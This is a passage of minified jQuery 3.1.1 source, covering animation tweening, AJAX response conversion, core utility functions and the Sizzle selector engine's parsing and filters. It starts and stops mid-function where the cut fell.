_(e,t,n){for(var r,o=(U.tweeners[t]||[]).concat(U.tweeners[\"*\"]),i=0,a=o.length;i<a;i++)if(r=o[i].call(n,t,e))return r}function W(e,t,n){var r,o,i,a,s,u,l,c,f=\"width\"in t||\"height\"in t,p=this,h={},d=e.style,g=e.nodeType&&We(e),v=Fe.get(e,\"fxshow\");n.queue||(a=de._queueHooks(e,\"fx\"),null==a.unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,de.queue(e,\"fx\").length||a.empty.fire()})}));for(r in t)if(o=t[r],gt.test(o)){if(delete t[r],i=i||\"toggle\"===o,o===(g?\"hide\":\"show\")){if(\"show\"!==o||!v||void 0===v[r])continue;g=!0}h[r]=v&&v[r]||de.style(e,r)}if(u=!de.isEmptyObject(t),u||!de.isEmptyObject(h)){f&&1===e.nodeType&&(n.overflow=[d.overflow,d.overflowX,d.overflowY],l=v&&v.display,null==l&&(l=Fe.get(e,\"display\")),c=de.css(e,\"display\"),\"none\"===c&&(l?c=l:(m([e],!0),l=e.style.display||l,c=de.css(e,\"display\"),m([e]))),(\"inline\"===c||\"inline-block\"===c&&null!=l)&&\"none\"===de.css(e,\"float\")&&(u||(p.done(function(){d.display=l}),null==l&&(c=d.display,l=\"none\"===c?\"\":c)),d.display=\"inline-block\")),n.overflow&&(d.overflow=\"hidden\",p.always(function(){d.overflow=n.overflow[0],d.overflowX=n.overflow[1],d.overflowY=n.overflow[2]})),u=!1;for(r in h)u||(v?\"hidden\"in v&&(g=v.hidden):v=Fe.access(e,\"fxshow\",{display:l}),i&&(v.hidden=!g),g&&m([e],!0),p.done(function(){g||m([e]),Fe.remove(e,\"fxshow\");for(r in h)de.style(e,r,h[r])})),u=_(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}}function B(e,t){var n,r,o,i,a;for(n in e)if(r=de.camelCase(n),o=t[r],i=e[n],de.isArray(i)&&(o=i[1],i=e[n]=i[0]),n!==r&&(e[r]=i,delete e[n]),a=de.cssHooks[r],a&&\"expand\"in a){i=a.expand(i),delete e[r];for(n in i)n in e||(e[n]=i[n],t[n]=o)}else t[r]=o}function U(e,t,n){var r,o,i=0,a=U.prefilters.length,s=de.Deferred().always(function(){delete u.elem}),u=function(){if(o)return!1;for(var t=ht||M(),n=Math.max(0,l.startTime+l.duration-t),r=n/l.duration||0,i=1-r,a=0,u=l.tweens.length;a<u;a++)l.tweens[a].run(i);return s.notifyWith(e,[l,i,n]),i<1&&u?n:(s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:de.extend({},t),opts:de.extend(!0,{specialEasing:{},easing:de.easing._default},n),originalProperties:t,originalOptions:n,startTime:ht||M(),duration:n.duration,tweens:[],createTween:function(t,n){var r=de.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(o)return this;for(o=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(B(c,l.opts.specialEasing);i<a;i++)if(r=U.prefilters[i].call(l,e,c,l.opts))return de.isFunction(r.stop)&&(de._queueHooks(l.elem,l.opts.queue).stop=de.proxy(r.stop,r)),r;return de.map(c,_,l),de.isFunction(l.opts.start)&&l.opts.start.call(e,l),de.fx.timer(de.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always)}function z(e){var t=e.match(qe)||[];return t.join(\" \")}function X(e){return e.getAttribute&&e.getAttribute(\"class\")||\"\"}function K(e,t,n,r){var o;if(de.isArray(t))de.each(t,function(t,o){n||Et.test(e)?r(e,o):K(e+\"[\"+(\"object\"==typeof o&&null!=o?t:\"\")+\"]\",o,n,r)});else if(n||\"object\"!==de.type(t))r(e,t);else for(o in t)K(e+\"[\"+o+\"]\",t[o],n,r)}function V(e){return function(t,n){\"string\"!=typeof t&&(n=t,t=\"*\");var r,o=0,i=t.toLowerCase().match(qe)||[];if(de.isFunction(n))for(;r=i[o++];)\"+\"===r[0]?(r=r.slice(1)||\"*\",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function G(e,t,n,r){function o(s){var u;return i[s]=!0,de.each(e[s]||[],function(e,s){var l=s(t,n,r);return\"string\"!=typeof l||a||i[l]?a?!(u=l):void 0:(t.dataTypes.unshift(l),o(l),!1)}),u}var i={},a=e===Rt;return o(t.dataTypes[0])||!i[\"*\"]&&o(\"*\")}function Y(e,t){var n,r,o=de.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((o[n]?e:r||(r={}))[n]=t[n]);return r&&de.extend(!0,e,r),e}function Q(e,t,n){for(var r,o,i,a,s=e.contents,u=e.dataTypes;\"*\"===u[0];)u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(r)for(o in s)if(s[o]&&s[o].test(r)){u.unshift(o);break}if(u[0]in n)i=u[0];else{for(o in n){if(!u[0]||e.converters[o+\" \"+u[0]]){i=o;break}a||(a=o)}i=i||a}if(i)return i!==u[0]&&u.unshift(i),n[i]}function J(e,t,n,r){var o,i,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];for(i=c.shift();i;)if(e.responseFields[i]&&(n[e.responseFields[i]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=i,i=c.shift())if(\"*\"===i)i=u;else if(\"*\"!==u&&u!==i){if(a=l[u+\" \"+i]||l[\"* \"+i],!a)for(o in l)if(s=o.split(\" \"),s[1]===i&&(a=l[u+\" \"+s[0]]||l[\"* \"+s[0]])){a===!0?a=l[o]:l[o]!==!0&&(i=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e.throws)t=a(t);else try{t=a(t)}catch(e){return{state:\"parsererror\",error:a?e:\"No conversion from \"+u+\" to \"+i}}}return{state:\"success\",data:t}}function Z(e){return de.isWindow(e)?e:9===e.nodeType&&e.defaultView}var ee=[],te=e.document,ne=Object.getPrototypeOf,re=ee.slice,oe=ee.concat,ie=ee.push,ae=ee.indexOf,se={},ue=se.toString,le=se.hasOwnProperty,ce=le.toString,fe=ce.call(Object),pe={},he=\"3.1.1\",de=function(e,t){return new de.fn.init(e,t)},ge=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,me=/^-ms-/,ve=/-([a-z])/g,ye=function(e,t){return t.toUpperCase()};de.fn=de.prototype={jquery:he,constructor:de,length:0,toArray:function(){return re.call(this)},get:function(e){return null==e?re.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=de.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return de.each(this,e)},map:function(e){return this.pushStack(de.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(re.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:ie,sort:ee.sort,splice:ee.splice},de.extend=de.fn.extend=function(){var e,t,n,r,o,i,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||de.isFunction(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],r=e[t],a!==r&&(l&&r&&(de.isPlainObject(r)||(o=de.isArray(r)))?(o?(o=!1,i=n&&de.isArray(n)?n:[]):i=n&&de.isPlainObject(n)?n:{},a[t]=de.extend(l,i,r)):void 0!==r&&(a[t]=r));return a},de.extend({expando:\"jQuery\"+(he+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return\"function\"===de.type(e)},isArray:Array.isArray,isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){var t=de.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==ue.call(e))&&(!(t=ne(e))||(n=le.call(t,\"constructor\")&&t.constructor,\"function\"==typeof n&&ce.call(n)===fe))},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},type:function(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?se[ue.call(e)]||\"object\":typeof e},globalEval:function(e){n(e)},camelCase:function(e){return e.replace(me,\"ms-\").replace(ve,ye)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t){var n,o=0;if(r(e))for(n=e.length;o<n&&t.call(e[o],o,e[o])!==!1;o++);else for(o in e)if(t.call(e[o],o,e[o])===!1)break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(ge,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(r(Object(e))?de.merge(n,\"string\"==typeof e?[e]:e):ie.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:ae.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,o=e.length;r<n;r++)e[o++]=t[r];return e.length=o,e},grep:function(e,t,n){for(var r,o=[],i=0,a=e.length,s=!n;i<a;i++)r=!t(e[i],i),r!==s&&o.push(e[i]);return o},map:function(e,t,n){var o,i,a=0,s=[];if(r(e))for(o=e.length;a<o;a++)i=t(e[a],a,n),null!=i&&s.push(i);else for(a in e)i=t(e[a],a,n),null!=i&&s.push(i);return oe.apply([],s)},guid:1,proxy:function(e,t){var n,r,o;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),de.isFunction(e))return r=re.call(arguments,2),o=function(){return e.apply(t||this,r.concat(re.call(arguments)))},o.guid=e.guid=e.guid||de.guid++,o},now:Date.now,support:pe}),\"function\"==typeof Symbol&&(de.fn[Symbol.iterator]=ee[Symbol.iterator]),de.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){se[\"[object \"+t+\"]\"]=t.toLowerCase()});var be=function(e){function t(e,t,n,r){var o,i,a,s,u,l,c,p=t&&t.ownerDocument,d=t?t.nodeType:9;if(n=n||[],\"string\"!=typeof e||!e||1!==d&&9!==d&&11!==d)return n;if(!r&&((t?t.ownerDocument||t:_)!==L&&O(t),t=t||L,F)){if(11!==d&&(u=ve.exec(e)))if(o=u[1]){if(9===d){if(!(a=t.getElementById(o)))return n;if(a.id===o)return n.push(a),n}else if(p&&(a=p.getElementById(o))&&M(t,a)&&a.id===o)return n.push(a),n}else{if(u[2])return J.apply(n,t.getElementsByTagName(e)),n;if((o=u[3])&&C.getElementsByClassName&&t.getElementsByClassName)return J.apply(n,t.getElementsByClassName(o)),n}if(C.qsa&&!X[e+\" \"]&&(!P||!P.test(e))){if(1!==d)p=t,c=e;else if(\"object\"!==t.nodeName.toLowerCase()){for((s=t.getAttribute(\"id\"))?s=s.replace(we,Ce):t.setAttribute(\"id\",s=$),l=E(e),i=l.length;i--;)l[i]=\"#\"+s+\" \"+h(l[i]);c=l.join(\",\"),p=ye.test(e)&&f(t.parentNode)||t}if(c)try{return J.apply(n,p.querySelectorAll(c)),n}catch(e){}finally{s===$&&t.removeAttribute(\"id\")}}}return S(e.replace(se,\"$1\"),t,n,r)}function n(){function e(n,r){return t.push(n+\" \")>T.cacheLength&&delete e[t.shift()],e[n+\" \"]=r}var t=[];return e}function r(e){return e[$]=!0,e}function o(e){var t=L.createElement(\"fieldset\");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function i(e,t){for(var n=e.split(\"|\"),r=n.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return\"input\"===n&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return(\"input\"===n||\"button\"===n)&&t.type===e}}function l(e){return function(t){return\"form\"in t?t.parentNode&&t.disabled===!1?\"label\"in t?\"label\"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ke(t)===e:t.disabled===e:\"label\"in t&&t.disabled===e}}function c(e){return r(function(t){return t=+t,r(function(n,r){for(var o,i=e([],n.length,t),a=i.length;a--;)n[o=i[a]]&&(n[o]=!(r[o]=n[o]))})})}function f(e){return e&&\"undefined\"!=typeof e.getElementsByTagName&&e}function p(){}function h(e){for(var t=0,n=e.length,r=\"\";t<n;t++)r+=e[t].value;return r}function d(e,t,n){var r=t.dir,o=t.next,i=o||r,a=n&&\"parentNode\"===i,s=B++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||a)return e(t,n,o);return!1}:function(t,n,u){var l,c,f,p=[W,s];if(u){for(;t=t[r];)if((1===t.nodeType||a)&&e(t,n,u))return!0}else for(;t=t[r];)if(1===t.nodeType||a)if(f=t[$]||(t[$]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),o&&o===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[i])&&l[0]===W&&l[1]===s)return p[2]=l[2];if(c[i]=p,p[2]=e(t,n,u))return!0}return!1}}function g(e){return e.length>1?function(t,n,r){for(var o=e.length;o--;)if(!e[o](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var o=0,i=n.length;o<i;o++)t(e,n[o],r);return r}function v(e,t,n,r,o){for(var i,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(i=e[s])&&(n&&!n(i,r,o)||(a.push(i),l&&t.push(s)));return a}function y(e,t,n,o,i,a){return o&&!o[$]&&(o=y(o)),i&&!i[$]&&(i=y(i,a)),r(function(r,a,s,u){var l,c,f,p=[],h=[],d=a.length,g=r||m(t||\"*\",s.nodeType?[s]:s,[]),y=!e||!r&&t?g:v(g,p,e,s,u),b=n?i||(r?e:d||o)?[]:a:y;if(n&&n(y,b,s,u),o)for(l=v(b,h),o(l,[],s,u),c=l.length;c--;)(f=l[c])&&(b[h[c]]=!(y[h[c]]=f));if(r){if(i||e){if(i){for(l=[],c=b.length;c--;)(f=b[c])&&l.push(y[c]=f);i(null,b=[],l,u)}for(c=b.length;c--;)(f=b[c])&&(l=i?ee(r,f):p[c])>-1&&(r[l]=!(a[l]=f))}}else b=v(b===a?b.splice(d,b.length):b),i?i(null,a,b,u):J.apply(a,b)})}function b(e){for(var t,n,r,o=e.length,i=T.relative[e[0].type],a=i||T.relative[\" \"],s=i?1:0,u=d(function(e){return e===t},a,!0),l=d(function(e){return ee(t,e)>-1},a,!0),c=[function(e,n,r){var o=!i&&(r||n!==A)||((t=n).nodeType?u(e,n,r):l(e,n,r));return t=null,o}];s<o;s++)if(n=T.relative[e[s].type])c=[d(g(c),n)];else{if(n=T.filter[e[s].type].apply(null,e[s].matches),n[$]){for(r=++s;r<o&&!T.relative[e[r].type];r++);return y(s>1&&g(c),s>1&&h(e.slice(0,s-1).concat({value:\" \"===e[s-2].type?\"*\":\"\"})).replace(se,\"$1\"),n,s<r&&b(e.slice(s,r)),r<o&&b(e=e.slice(r)),r<o&&h(e))}c.push(n)}return g(c)}function x(e,n){var o=n.length>0,i=e.length>0,a=function(r,a,s,u,l){var c,f,p,h=0,d=\"0\",g=r&&[],m=[],y=A,b=r||i&&T.find.TAG(\"*\",l),x=W+=null==y?1:Math.random()||.1,w=b.length;for(l&&(A=a===L||a||l);d!==w&&null!=(c=b[d]);d++){if(i&&c){for(f=0,a||c.ownerDocument===L||(O(c),s=!F);p=e[f++];)if(p(c,a||L,s)){u.push(c);break}l&&(W=x)}o&&((c=!p&&c)&&h--,r&&g.push(c))}if(h+=d,o&&d!==h){for(f=0;p=n[f++];)p(g,m,a,s);if(r){if(h>0)for(;d--;)g[d]||m[d]||(m[d]=Y.call(u));m=v(m)}J.apply(u,m),l&&!r&&m.length>0&&h+n.length>1&&t.uniqueSort(u)}return l&&(W=x,A=y),g};return o?r(a):a}var w,C,T,k,j,E,N,S,A,q,D,O,L,H,F,P,I,R,M,$=\"sizzle\"+1*new Date,_=e.document,W=0,B=0,U=n(),z=n(),X=n(),K=function(e,t){return e===t&&(D=!0),0},V={}.hasOwnProperty,G=[],Y=G.pop,Q=G.push,J=G.push,Z=G.slice,ee=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},te=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",ne=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",re=\"(?:\\\\\\\\.|[\\\\w-]|[^\\0-\\\\xa0])+\",oe=\"\\\\[\"+ne+\"*(\"+re+\")(?:\"+ne+\"*([*^$|!~]?=)\"+ne+\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\"+re+\"))|)\"+ne+\"*\\\\]\",ie=\":(\"+re+\")(?:\\\\((('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+oe+\")*)|.*)\\\\)|)\",ae=new RegExp(ne+\"+\",\"g\"),se=new RegExp(\"^\"+ne+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+ne+\"+$\",\"g\"),ue=new RegExp(\"^\"+ne+\"*,\"+ne+\"*\"),le=new RegExp(\"^\"+ne+\"*([>+~]|\"+ne+\")\"+ne+\"*\"),ce=new RegExp(\"=\"+ne+\"*([^\\\\]'\\\"]*?)\"+ne+\"*\\\\]\",\"g\"),fe=new RegExp(ie),pe=new RegExp(\"^\"+re+\"$\"),he={ID:new RegExp(\"^#(\"+re+\")\"),CLASS:new RegExp(\"^\\\\.(\"+re+\")\"),TAG:new RegExp(\"^(\"+re+\"|[*])\"),ATTR:new RegExp(\"^\"+oe),PSEUDO:new RegExp(\"^\"+ie),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+ne+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+ne+\"*(?:([+-]|)\"+ne+\"*(\\\\d+)|))\"+ne+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+te+\")$\",\"i\"),needsContext:new RegExp(\"^\"+ne+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+ne+\"*((?:-\\\\d)?\\\\d*)\"+ne+\"*\\\\)|)(?=[^-]|$)\",\"i\")},de=/^(?:input|select|textarea|button)$/i,ge=/^h\\d$/i,me=/^[^{]+\\{\\s*\\[native \\w/,ve=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,ye=/[+~]/,be=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+ne+\"?|(\"+ne+\")|.)\",\"ig\"),xe=function(e,t,n){var r=\"0x\"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},we=/([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\0-\\x1f\\x7f-\\uFFFF\\w-]/g,Ce=function(e,t){return t?\"\\0\"===e?\"�\":e.slice(0,-1)+\"\\\\\"+e.charCodeAt(e.length-1).toString(16)+\" \":\"\\\\\"+e},Te=function(){O()},ke=d(function(e){return e.disabled===!0&&(\"form\"in e||\"label\"in e)},{dir:\"parentNode\",next:\"legend\"});try{J.apply(G=Z.call(_.childNodes),_.childNodes),G[_.childNodes.length].nodeType}catch(e){J={apply:G.length?function(e,t){Q.apply(e,Z.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}C=t.support={},j=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&\"HTML\"!==t.nodeName},O=t.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:_;return r!==L&&9===r.nodeType&&r.documentElement?(L=r,H=L.documentElement,F=!j(L),_!==L&&(n=L.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener(\"unload\",Te,!1):n.attachEvent&&n.attachEvent(\"onunload\",Te)),C.attributes=o(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),C.getElementsByTagName=o(function(e){return e.appendChild(L.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),C.getElementsByClassName=me.test(L.getElementsByClassName),C.getById=o(function(e){return H.appendChild(e).id=$,!L.getElementsByName||!L.getElementsByName($).length}),C.getById?(T.filter.ID=function(e){var t=e.replace(be,xe);return function(e){return e.getAttribute(\"id\")===t}},T.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&F){var n=t.getElementById(e);return n?[n]:[]}}):(T.filter.ID=function(e){var t=e.replace(be,xe);return function(e){var n=\"undefined\"!=typeof e.getAttributeNode&&e.getAttributeNode(\"id\");return n&&n.value===t}},T.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&F){var n,r,o,i=t.getElementById(e);if(i){if(n=i.getAttributeNode(\"id\"),n&&n.value===e)return[i];for(o=t.getElementsByName(e),r=0;i=o[r++];)if(n=i.getAttributeNode(\"id\"),n&&n.value===e)return[i]}return[]}}),T.find.TAG=C.getElementsByTagName?function(e,t){return\"undefined\"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):C.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],o=0,i=t.getElementsByTagName(e);if(\"*\"===e){for(;n=i[o++];)1===n.nodeType&&r.push(n);return r}return i},T.find.CLASS=C.getElementsByClassName&&function(e,t){if(\"undefined\"!=typeof t.getElementsByClassName&&F)return t.getElementsByClassName(e)},I=[],P=[],(C.qsa=me.test(L.querySelectorAll))&&(o(function(e){H.appendChild(e).innerHTML=\"<a id='\"+$+\"'></a><select id='\"+$+\"-\\r\\\\' msallowcapture=''><option selected=''></option></select>\",e.querySelectorAll(\"[msallowcapture^='']\").length&&P.push(\"[*^$]=\"+ne+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\"[selected]\").length||P.push(\"\\\\[\"+ne+\"*(?:value|\"+te+\")\"),e.querySelectorAll(\"[id~=\"+$+\"-]\").length||P.push(\"~=\"),e.querySelectorAll(\":checked\").length||P.push(\":checked\"),e.querySelectorAll(\"a#\"+$+\"+*\").length||P.push(\".#.+[+~]\")}),o(function(e){e.innerHTML=\"<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>\";var t=L.createElement(\"input\");t.setAttribute(\"type\",\"hidden\"),e.appendChild(t).setAttribute(\"name\",\"D\"),e.querySelectorAll(\"[name=d]\").length&&P.push(\"name\"+ne+\"*[*^$|!~]?=\"),2!==e.querySelectorAll(\":enabled\").length&&P.push(\":enabled\",\":disabled\"),H.appendChild(e).disabled=!0,2!==e.querySelectorAll(\":disabled\").length&&P.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),P.push(\",.*:\")})),(C.matchesSelector=me.test(R=H.matches||H.webkitMatchesSelector||H.mozMatchesSelector||H.oMatchesSelector||H.msMatchesSelector))&&o(function(e){C.disconnectedMatch=R.call(e,\"*\"),R.call(e,\"[s!='']:x\"),I.push(\"!=\",ie)}),P=P.length&&new RegExp(P.join(\"|\")),I=I.length&&new RegExp(I.join(\"|\")),t=me.test(H.compareDocumentPosition),M=t||me.test(H.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},K=t?function(e,t){if(e===t)return D=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!C.sortDetached&&t.compareDocumentPosition(e)===n?e===L||e.ownerDocument===_&&M(_,e)?-1:t===L||t.ownerDocument===_&&M(_,t)?1:q?ee(q,e)-ee(q,t):0:4&n?-1:1)}:function(e,t){if(e===t)return D=!0,0;var n,r=0,o=e.parentNode,i=t.parentNode,s=[e],u=[t];if(!o||!i)return e===L?-1:t===L?1:o?-1:i?1:q?ee(q,e)-ee(q,t):0;if(o===i)return a(e,t);for(n=e;n=n.parentNode;)s.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;s[r]===u[r];)r++;return r?a(s[r],u[r]):s[r]===_?-1:u[r]===_?1:0},L):L},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==L&&O(e),n=n.replace(ce,\"='$1']\"),C.matchesSelector&&F&&!X[n+\" \"]&&(!I||!I.test(n))&&(!P||!P.test(n)))try{var r=R.call(e,n);if(r||C.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return t(n,L,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==L&&O(e),M(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==L&&O(e);var n=T.attrHandle[t.toLowerCase()],r=n&&V.call(T.attrHandle,t.toLowerCase())?n(e,t,!F):void 0;return void 0!==r?r:C.attributes||!F?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.escape=function(e){return(e+\"\").replace(we,Ce)},t.error=function(e){throw new Error(\"Syntax error, unrecognized expression: \"+e)},t.uniqueSort=function(e){var t,n=[],r=0,o=0;if(D=!C.detectDuplicates,q=!C.sortStable&&e.slice(0),e.sort(K),D){for(;t=e[o++];)t===e[o]&&(r=n.push(o));for(;r--;)e.splice(n[r],1)}return q=null,e},k=t.getText=function(e){var t,n=\"\",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=k(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=k(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:he,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(be,xe),e[3]=(e[3]||e[4]||e[5]||\"\").replace(be,xe),\"~=\"===e[2]&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return he.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\"\":n&&fe.test(n)&&(t=E(n,!0))&&(t=n.indexOf(\")\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(be,xe).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=U[e+\" \"];return t||(t=new RegExp(\"(^|\"+ne+\")\"+e+\"(\"+ne+\"|$)\"))&&U(e,function(e){return t.test(\"string\"==typeof e.className&&e.className||\"undefined\"!=typeof e.getAttribute&&e.getAttribute(\"class\")||\"\")})},ATTR:function(e,n,r){return function(o){var i=t.attr(o,e);return null==i?\"!=\"===n:!n||(i+=\"\",\"=\"===n?i===r:\"!=\"===n?i!==r:\"^=\"===n?r&&0===i.indexOf(r):\"*=\"===n?r&&i.indexOf(r)>-1:\"$=\"===n?r&&i.slice(-r.length)===r:\"~=\"===n?(\" \"+i.replace(ae,\" \")+\" \").indexOf(r)>-1:\"|=\"===n&&(i===r||i.slice(0,r.length+1)===r+\"-\"))}},CHILD:function(e,t,n,r,o){var i=\"nth\"!==e.slice(0,3),a=\"last\"!==e.slice(-4),s=\"of-type\"===t;return 1===r&&0===o?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,h,d,g=i!==a?\"nextSibling\":\"previousSibling\",m=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!u&&!s,b=!1;if(m){if(i){for(;g;){for(p=t;p=p[g];)if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;d=g=\"only\"===e&&!d&&\"nextSibling\"}return!0}if(d=[a?m.firstChild:m.lastChild],a&&y){for(p=m,f=p[$]||(p[$]={}),c=f[p.uniqueID]||(f[p.uniqueID]={}),l=c[e]||[],h=l[0]===W&&l[1],b=h&&l[2],p=h&&m.childNodes[h];p=++h&&p&&p[g]||(b=h=0)||d.pop();)if(1===p.nodeType&&++b&&p===t){c[e]=[W,h,b];break}}else if(y&&(p=t,f=p[$]||(p[$]={}),c=f[p.uniqueID]||(f[p.uniqueID]={}),l=c[e]||[],h=l[0]===W&&l[1],b=h),b===!1)for(;(p=++h&&p&&p[g]||(b=h=0)||d.pop())&&((s?p.nodeName.toLowerCase()!==v:1!==p.nodeType)||!++b||(y&&(f=p[$]||(p[$]={}),c=f[p.uniqueID]||(f[p.uniqueID]={}),c[e]=[W,b]),p!==t)););return b-=o,b===r||b%r===0&&b/r>=0}}},PSEUDO:function(e,n){var 